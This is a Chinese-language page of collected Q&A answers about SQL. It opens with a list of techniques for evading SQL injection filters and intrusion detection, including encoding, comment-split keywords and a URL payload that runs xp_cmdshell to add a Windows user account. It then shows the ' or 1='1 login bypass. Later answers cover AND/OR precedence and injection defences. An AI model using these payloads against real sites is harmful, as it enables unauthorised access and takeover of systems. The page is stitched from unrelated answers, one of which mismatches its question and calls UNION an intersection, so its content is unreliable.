㈠ 用什麼方法繞過sql注入的限制
1、運用編碼技術繞過
如URLEncode編碼，ASCII編碼繞過。例如or 1=1即%6f%72%20%31%3d%31，而Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
2、通過空格繞過
如兩個空格代替一個空格，用Tab代替空格等，或者刪除所有空格，如or』 swords』 =『swords』 ，由於mssql的鬆散性，我們可以把or 『swords』 之間的空格去掉，並不影響運行。
3、運用字元串判斷代替
用經典的or 1=1判斷繞過,如or 『swords』 =』swords』，這個方法就是網上在討論的。
4、通過類型轉換修飾符N繞過
可以說這是一個不錯的想法，他除了能在某種程度上繞過限制，而且還有別的作用，大家自己好好想想吧。關於利用，如or 『swords』 = N』 swords』 ，大寫的N告訴mssql server 字元串作為nvarchar類型，它起到類型轉換的作用，並不影響注射語句本身，但是可以避過基於知識的模式匹配IDS。
5、通過+號拆解字元串繞過
效果值得考證，但畢竟是一種方法。如 or 『swords』 =『sw』 +』 ords』 ；EXEC(『IN』 +』 SERT INTO 『+』 …..』 )
6、通過LIKE繞過
以前怎麼就沒想到呢？如or 『swords』 LIKE 『sw』！！！顯然可以很輕松的繞過「=」「>」的限制……
7、通過IN繞過
與上面的LIKE的思路差不多,如or 『swords』 IN (『swords』)
8、通過BETWEEN繞過
如or 『swords』 BETWEEN 『rw』 AND 『tw』
9、通過>或者<繞過
or 『swords』 > 『sw』
or 『swords』 < 『tw』
or 1<3
……
10、運用注釋語句繞過
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感詞，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX繞過，一般的IDS都無法檢測出來
=hex(sysadmin)
=hex(db_owner)
另外，關於通用點的過濾方法，我們可以考慮採用賦值的方法，例如先聲明一個變數a，然後把我們的指令賦值給a，然後調用變數a最終執行我們輸入的命令。變數a可以是任何命令。如下：
declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a
效果 how.asp?id=1;declare%20@a% 20sysname%20select%20@a=7300730020002f
00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;–
其中的 7300730020002f00610064006400 就是「net user angel pass /add」的意思。
㈡ 這個怎麼構造後台SQL語句繞過登錄呢
select name,pass from tbAdmin where name='admin' and pass='123456'
輸入用戶名：' or 1='1
SQL變成下面這個樣子：
select name,pass from tbAdmin where name='' or 1='1' and pass='123456'
1='1' 永遠為真，所以就驗證通過了。。。
㈢ sql 中 and 和or的用法
"="是比較操作符，判斷兩邊參數是否相等，或者在更新語句中進行賦值
「：=」主要是用於傳遞外部參數為語句中變數賦值
㈣ sql語句"and" 、"or"用法
AND的語義是：二者必須滿足才為RTUE；
OR的語義是：二者只要有一個滿足就為TRUE，言外之意，二者同時滿足也為TRUE。
where
A=1
and
b
<>
2
and
b<>
3
㈤ 【模擬環境】SQL注入時如何繞過逗號和百分號
UNION 跟 UNION ALL 是交集跟並集的寫法
select * from a union select * from b --這種是A表與B表結果的交集寫法,合並表，沒有重復行；
select * from a union all select * from b --這種是A表與B表結果的並集寫法 有重復行；
a表和b表結構一樣,合並兩個表,沒有重復行,如果要重復行用union all
㈥ 關於sql中or 和and的問題。（在線等）
探討一下：
首先，我要說微軟的SQL SERVER2000的聯機從書上說的「錯！」。
第二，由於AND和OR的優先順序不同，那麼此Where條件就變成了相當於如下的表示：
USE pubs
GO
SELECT SUBSTRING(title, 1, 30) AS Title, type
FROM titles
WHERE type = 'business' OR （type = 'psychology'AND
advance > $5500）
ORDER BY title
GO
這樣「（type = 'psychology'AND
advance > $5500） 」經運算後就變成了一個獨立條件再與「type = 'business' 」進行 OR 運算。
第三，
AND的語義是：二者必須滿足才為RTUE；
OR的語義是：二者只要有一個滿足就為TRUE，言外之意，二者同時滿足也為TRUE。
結論：
「如果沒有括弧，那麼 WHERE 子句就會檢索預付款超過 $5,500 的所有商業書籍或者心理學書籍。 」
應改為：
「如果沒有括弧，那麼 WHERE 子句就會檢索預付款超過 $5,500 的心理學書籍或者所有商業書籍。 」
㈦ sql 中and 和or的用法，請指導，謝謝
這是邏輯運算符優先次序沒交代清楚所導致的。
按照提問中的代碼篩選邏輯，系統會檢索出"喝奶時間"為'早' 且"訂奶類別"為'250ml巴士氏鮮奶'的記錄，或者"訂奶類別"為'500ml巴氏鮮奶'的記錄。第一個是雙條件篩選，第二個是單條件篩選，只要是500ml巴氏鮮奶，不管它是早或晚，只要是500毫升的就能被查出來。
為了將'晚'篩選掉，建議使用括弧來區分優先順序別，代碼修改如下:
select * from 送奶信息 where 喝奶時間='早' and (訂奶類別='250ml巴氏鮮奶' or 訂奶類別='500ml巴氏鮮奶');
這樣喝奶時間為'晚'的記錄就會被篩選掉了。
㈧ Sql查詢語句中 " and " 使用問題.
因為你用and的話，表示三個條件都要滿足才會計數，就是說用戶名必須是小王，密碼必須是123，而且還必須是超級管理員，你打開資料庫看看小王這個用戶滿足這三個條件嗎？
㈨ sql中如何防止and 'f'='f'
凡有SQL注入漏洞的程序，都是因為程序要接受來自客戶端用戶輸入的變數或URL傳遞的參數，並且這個變數或參數是組成SQL語句的一部分，
對於用戶輸入的內容或傳遞的參數，我們應該要時刻保持警惕，這是安全領域里的「外部數據不可信任」的原則，縱觀Web安全領域的各種攻擊方式，
大多數都是因為開發者違反了這個原則而導致的，所以自然能想到的，就是從變數的檢測、過濾、驗證下手，確保變數是開發者所預想的。
1、檢查變數數據類型和格式
如果你的SQL語句是類似where id={$id}這種形式，資料庫里所有的id都是數字，那麼就應該在SQL被執行前，檢查確保變數id是int類型；如果是接受郵箱，那就應該檢查並嚴格確保變數一定是郵箱的格式，其他的類型比如日期、時間等也是一個道理。總結起來：只要是有固定格式的變數，在SQL語句執行前，應該嚴格按照固定格式去檢查，確保變數是我們預想的格式，這樣很大程度上可以避免SQL注入攻擊。
比如，我們前面接受username參數例子中，我們的產品設計應該是在用戶注冊的一開始，就有一個用戶名的規則，比如5-20個字元，只能由大小寫字母、數字以及一些安全的符號組成，不包含特殊字元。此時我們應該有一個check_username的函數來進行統一的檢查。不過，仍然有很多例外情況並不能應用到這一準則，比如文章發布系統，評論系統等必須要允許用戶提交任意字元串的場景，這就需要採用過濾等其他方案了。
2、過濾特殊符號
對於無法確定固定格式的變數，一定要進行特殊符號過濾或轉義處理。
3、綁定變數，使用預編譯語句
MySQL的mysqli驅動提供了預編譯語句的支持，不同的程序語言，都分別有使用預編譯語句的方法
實際上，綁定變數使用預編譯語句是預防SQL注入的最佳方式，使用預編譯的SQL語句語義不會發生改變，在SQL語句中，變數用問號?表示，黑客即使本事再大，也無法改變SQL語句的結構
㈩ 【SQL】查詢很多同一列的 不用AND 怎麼精簡
不是group，group是分組用的，你要分組么？我覺得正則表達式應該可以幫助你（前提是那些要匹配的字元要有規律）比如：
select * from t where s1 regexp('[0-9]');
這句就會篩選所有s1欄位的字元串里所有字元都在0123456789之內的【0-9】就是一個正則表達，詳細參見http://ke..com/view/1427403.htm
再看你的，類似匹配前面首字母固定s，緊接的可以是ta也可以是er，後面隨意，象下面就可以了
select * from keyword where keywords regexp('^s(er|ta)');
實在沒規律也可以
（'^(abd|BCCC|CCCC)'）自己往裡加了哈
這個問題解決的很好吧，樓主多+分啊